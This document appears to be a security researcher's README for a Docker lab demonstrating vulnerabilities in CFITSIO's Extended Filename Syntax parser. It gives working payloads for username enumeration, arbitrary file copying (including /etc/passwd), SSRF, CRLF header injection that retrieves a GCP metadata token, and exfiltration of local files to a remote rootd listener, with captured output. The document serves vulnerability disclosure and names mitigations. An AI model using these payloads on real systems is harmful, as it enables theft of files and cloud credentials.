This project is a self-contained lab for demonstrating the security issues I found in parsers of CFITSIO's Extended Filename Syntax (EFS). The Docker image builds upstream CFITSIO (default tag 4.6.3). Everything runs on Ubuntu 22.04 and the helper binary fits-sample-opener is included for repeatable demos.
docker build -t cfitsio:4.6.3 .Override the upstream version with --build-arg CFITSIO_TAG=<tag> or pin an arbitrary ref via --build-arg CFITSIO_GIT_REF=<commit>.
Start disposable containers that mount your working directory into /workspace so the demos can write files you can inspect on the host:
docker run --rm -it -v "$(pwd)":/workspace cfitsio:4.6.3 bashUse --rm so each demo is isolated, and add --network=host if you need to reach services on the host network while testing SSRF-style payloads.
fits-sample-opener is a deliberately simple C program that exercises only a handful of CFITSIO calls. In its default (insecure) mode it calls fits_open_image, logs that the image was opened, issues a single fits_get_img_dim query, and exits. In secure mode (--secure) it switches to fits_open_diskfile, which disables EFS parsing entirely and treats input strings literally. Because the program does so little work, any side effects you observe come directly from CFITSIO's EFS handling, not from higher-level logic in the application.
Note that (almost) all of those scenarios are automatically mitigated if the --secure parameter is provided.
CFITSIO expands paths like ~username/foo.fits inside drvrfile.c using getpwnam. Calling an application with ~/foo behaves differently from ~nosuchuser/foo depending on whether the account exists, so you can quickly enumerate local usernames based on error messages or timings—even when the target never intended to expose that information.
# Use path traversal from the known existing username - it should work as expected
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '~root/../../../workspace/sample.fits'
# Check if user `bob` also exists on the server?
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '~bob/../../../workspace/sample.fits'
# An error is returned during file openingNote that, this particular experiment works even if --secure switch is used. This functionality is implemented outside EFS support.
By design CFITSIO interprets input.fits(out.fits) as "work on input.fits, but first copy it to out.fits." If an application blindly passes user input to fits_open_file, you can clone arbitrary files into any writable location. In our container this lands on the host because /workspace is bind-mounted:
# Copies sample.fits into /workspace/foo on the host
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/workspace/sample.fits(/workspace/foo)'
# Same trick also exfiltrates sensitive host files!
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/etc/passwd(/workspace/foo)'In a real-world scenario, the attacker would copy the files to a world-readable location, e.g. webserver's images directory.
The HTTP/HTTPS drivers obey the same outfile clause. Point them at any remote URL and CFITSIO will download the response to your chosen path before returning control to the caller:
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'This effectively turns applications that use CFITSIO into SSRF gadgets that can save web content anywhere the process has write access. Both URL handlers accept basically whatever you put into a standard URL string. In particular, they accept local IP addresses and arbitrary ports.
The HTTP driver builds requests with snprintf(tmpstr,"GET %s HTTP/1.0\r\n", fn); and never sanitizes fn. If you embed \n sequences in the filename portion of an EFS URL, CFITSIO will include them verbatim in the request, letting you choose your own method, headers, or even change the protocol version. For example:
# Inject headers expected by GCP's metadata services and exfiltrate data to a file
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)'produces a request equivalent to:
GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor:Google
foo:.gz HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603
Host: 169.254.169.254:80
This is both a CRLF-injection bug and an SSRF primitive with arbitrary headers, giving an attacker full control over outbound HTTP requests originating from the victim process. On the GCP instance, the sensitive token is exfiltrated to the /workspace/output.txt file.
Lastly, the most powerful primitive that I've discovered.
CFITSIO also ships the legacy root:// driver, which talks to CERN’s rootd protocol and can stream files to a remote server specified inside the EFS string. The CFITSIO uses a slightly modified version which supports a command to return the length of the file which should be hosted here. To demonstrate this without running a full ROOT deployment, use the root.py stub in this repository. It merely accepts the initial handshake and logs any data it receives, so you can watch exactly what a compromised process would transmit.
The root_openfile method implemented in the drvrnet.c:4265 file has an interesting property. It checks for a presence of ROOTUSERNAME and ROOTPASSWORD environment variables and if they're not defined, it calls fgets to read those values from the stdin. Realistically, it's unlikely that a third-party code will ever have those variables defined. In many cases, the exploitation will be interrupted by an infinite blocking for the input. We can easily demonstrate this behavior by running our fits-sample-opener program interactively.
However! fgets will immediately return NULL any time the CFITSIO client’s stdin is closed or redirected to EOF. That happens in plenty of real deployments (container, crob jobs, piplines, ...). Well, we can also assume that there are some legacy NASA servers out there where those variables are set and the exploit can simply continue.
Also, the routine will happily work only with FITS files. Stealing FITS files might be a real risk but it's definitively less practical. To steal arbitrary files, we can use another trick offered by the EFS syntax. The [b...] raw-data clause tells CFITSIO to fabricate a single primary HDU from the arbitrary byte stream. We can mix in some other filters to convert any raw data into a valid FITS file using the [b500,1][*,*] syntax. The number 500 here, tells the application to exfiltrate exactly 500 bytes. It's ok if the file is bigger than that, but insufficient number of bytes will break the exploit so you might need to start with small numbers.
Launch the stub on your host. This will start a listener on 0.0.0.0:1094:
python3 ./root.pyThen point a vulnerable program at it from inside the container:
docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'Because the string contains an outfile clause with a root:// URL, CFITSIO opens the local file, apply requested filters, and then pushes a full copy over your stub server, even though nothing in fits-sample-opener requested any outbound I/O. The stub prints each PUT offset/length plus a preview of the bytes so you can confirm the leak.
The example output is:
$ python3 ./root.py
Listening on 0.0.0.0:1094 for rootd clients...
Connection from ('127.0.0.1', 44562)
recv_message: len=4 op=ROOTD_USER payload_len=0
Username:
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=4 op=ROOTD_PASS payload_len=0
Password bytes: b''
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=19 op=ROOTD_OPEN payload_len=15
Open request: //foobar create
send_message: op=ROOTD_OPEN payload_len=4
Handshake complete; entering data loop.
recv_message: len=12 op=ROOTD_PUT payload_len=8
handle_session: received ROOTD_PUT (2005) payload=b'0 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 0
PUT offset=0 length=2880 preview=b'SIMPLE = T / file does conform to FITS stand'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=15 op=ROOTD_PUT payload_len=11
handle_session: received ROOTD_PUT (2005) payload=b'2880 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 2880
PUT offset=2880 length=2880 preview=b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/u'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=4 op=ROOTD_FLUSH payload_len=0
handle_session: received ROOTD_FLUSH (2007) payload=b''
FLUSH requested
send_message: op=ROOTD_FLUSH payload_len=4
Connection closed while attempting to reply.
Captured file content (5760 bytes):
SIMPLE = T / file does conform to FITS standard BITPIX = 8 / number of bits per data pixel NAXIS = 2 / number of data axes NAXIS1 = 500 / length of data axis 1 NAXIS2 = 1 / length of data axis 2 EXTEND = T / FITS dataset may contain extensions COMMENT FITS (Flexible Image Transport System) format is defined in 'AstronomyCOMMENT and Astrophysics', volume 376, page 359; bibcode: 2001A&A...376..359H END root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
All of the standard CFITSIO utilities (e.g., fitscopy, fpack) are present in the image, so you can swap fits-sample-opener for any tool and see how it responds to crafted EFS payloads. Note that, fitsverify uses the secure fits_open_diskfile method but for other reasons: "This allows for file paths with special characters (e.g. brackets) that would otherwise fail"
Dockerfile– builds CFITSIO and installs the helper binary.fits-sample-opener.c– the reference program that toggles between insecure and secure open routines.sample.fits– benign sample image used in demos.root.py- simple rootd implementation. It is intentionally minimal and not a production-ready. Its sole purpose is to capture whatever the CFITSIO client emits.
Pull requests are welcome if you discover more parser quirks or want to document countermeasures.
This repository has been created by Adrian Denkiewicz of Doyensec LLC during his 25% research time.